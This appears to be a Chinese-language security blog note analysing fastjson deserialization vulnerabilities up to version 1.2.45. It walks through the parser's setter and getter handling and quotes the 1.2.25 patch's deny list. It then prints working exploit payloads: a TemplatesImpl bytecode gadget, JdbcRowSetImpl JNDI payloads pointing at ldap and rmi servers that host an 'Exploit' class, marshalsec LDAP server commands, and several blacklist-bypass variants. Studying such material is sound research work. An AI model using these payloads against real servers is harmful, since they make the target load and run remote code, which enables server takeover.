FastJson 漏洞分析
断断续续看过好几次,还是需要总结归纳一次才能方便下次查阅,不然总是零散信息。
fastjson整个历程:
1、fastjson <= 1.2.24
2、fastjson <= 1.2.45,期间大多数为黑名单绕过
有利于waf绕过的特性:
- 支持json注释: /**/
- class类名会把$替换为.
基础分析
分析版本为1.2.24,首先对字符串进行json解析。
String jsonStr = "{\n" +
" \"@type\" : \"demo.User\",\n" +
" \"name\" : \"test\",\n" +
" \"age\" : 18,\n" +
" \"prop\" : {\"first\" : 111},\n" +
" \"grade\" : \"test\"\n" +
"}";
//User user = JSON.parseObject(jsonStr, User.class, Feature.SupportNonPublicField);
User user = JSON.parseObject(jsonStr, User.class);
System.out.println(user);
最终运行结果如下:
在parseObject处下断点。
先跟到DefaultJSONParser,可以看到JSONScanner(input, features)
是进入了字符串解析中。
public DefaultJSONParser(String input, ParserConfig config, int features){
this(input, new JSONScanner(input, features), config);
}
这里应该是做了一个准备,把解析规则等都放到parser中,然后到T value = parser.parseObject(clazz, (Object)null);
就正式开始解析object,之前代码中是JSON.parseObject(jsonStr, User.class)
,所以这里的clazz也就是User.class
,指定类的进行解析。
当字符串解析遇到@type
的时候,就会尝试去获取其对于的json值,也就是想要反序列化的类名称。
继续跟入,可以注意到当我们反序列化的构造函数是没有参数的时候,便会直接进行newInstance实例化,即会调用构造函数。
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:119
之后对成员信息进行反序列化的时候,先是 createJavaBeanDeserializer 生成,
再进入JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
进行javabean信息生成,这里是对反序列化的类中所有方法进行处理,比如包括对hashcode()的判断,如果其中成员,比如age,存在setter类函数,便会进行调用。
可以看到在调用setAge方法时候,会经过一些判断,methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
这里注意到对成员名做了一些处理,大致就是_
,f
做了一些截取处理。
与setter相比,getter条件限制更多:
/com/alibaba/fastjson/util/JavaBeanInfo.class:462
methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())
最后就是通过反射调用了getter函数: /com/alibaba/fastjson/parser/deserializer/FieldDeserializer.class:56
总结:
1、存在newInstance()实例化,会调用无参数的构造函数;存在Class.forName()的,会进行类初始化,即会运行静态块的代码。
2、private成员,默认通过匹配get/set方法来反序列化,匹配不到则无法反序列化类成员变量
3、public成员,默认通过匹配get/set方法来反序列化,匹配不到则直接匹配类成员名;再匹配不到则无法反序列化类成员变量。
4、对成员名做一些处理,比如去掉_
、忽略大小写
5、getter函数
- 函数名长度大于4
- 非静态函数
- 函数名以get起始,且第四个字符为大写字符
- 函数没有参数
- 函数返回满足以下之一
- 继承Collection
- 继承Map
- AtomicBoolean
- AtomicInteger
- AtomicLong
6、setter函数
- 函数名长度大于4
- 非静态函数
- 返回为void或者方法本身类型
所以想找exp链可以使用这样寻找两个方面:
- getter、setter方法:
(\w)+(\s){1,20}(set(\w)+\(|get(\w)+\(\))
- 无参数的构造函数、静态块
对于一开始的例子,Properties getProp能够调用成功,而String getGrade调用失败,是因为Properties继承关系如下,Properties -> Hashtable -> Map。
另外就是JSON.parseObject(jsonStr, User.class)
中的第二个参数class,如果json字符串中@type
的类之间存在继承或者转换关系即可,当然不存在也可以,最后会报错,但是getter、setter还是在之前就调用了。不过也存在还没调用就报错了,比如ASMUtils.class
。
fastjson里面还内置了许多类判断,可以不用考虑目标类型,直接使用JSON.parse()
即可。
1.2.24前
TemplatesImpl
限制: 1.2.22 - 1.2.24版本
主要利用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类
Exp如下:
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
整个利用链如下:
getOutputProperties -> newTransformer -> getTransletInstance -> ... -> newInstance() -> ... -> exec command
不过此poc限制很大,在于private bytecode没有public setter、getter函数,所以需要开启Feature.SupportNonPublicField
,版本限制在1.2.22 - 1.2.24之间,另外parseObject的第二个class定义不能有冲突。
JdbcRowSetImpl
限制: < 1.2.24 版本
这是com.sun.rowset.JdbcRowSetImpl
类,可以基于rmi、ldap来打,也是结合dnslog可以进行批量检测,
Exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Exploit","autoCommit":true}
利用链:
setAutoCommit -> connect -> InitialContext().look()
Rmi还有Java版本问题,Ldap是比较稳:
利用工具: https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8082/#Evil 1520
python -m SimpleHTTPServer 8082
最终ldap地址: ldap://127.0.0.1:1520/Evil
整个流程便是 ldap -> http -> evil.class
ClassLoader
TODO
{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxxxxxxxxx"}}:"ddd"}
补丁情况
通过diff 1.2.25 - 1.2.24
1、增加了autoTypeSupport限制,如果没有开启,将无法进行反序列化到其他类,除非是自己设置白名单的类或者fastjson中一个Mapping列表中的类。
2、增加黑名单
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
之后的攻击大部分就是在寻找新的利用类 以及 根据特性绕过黑名单类。
1.2.24后
断点下在checkAutoType处
特性绕过
L
是引用类型
[;
是数组形式
//1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42
{"@type":"LLu0063u006fu006d.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true]}
JndiDataSourceFactory
限制: 1.2.45 以前,需要ibatis包
新类绕过: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
比较直接,setProperties中的data_source直接进入lookup。
无需autoType
TODO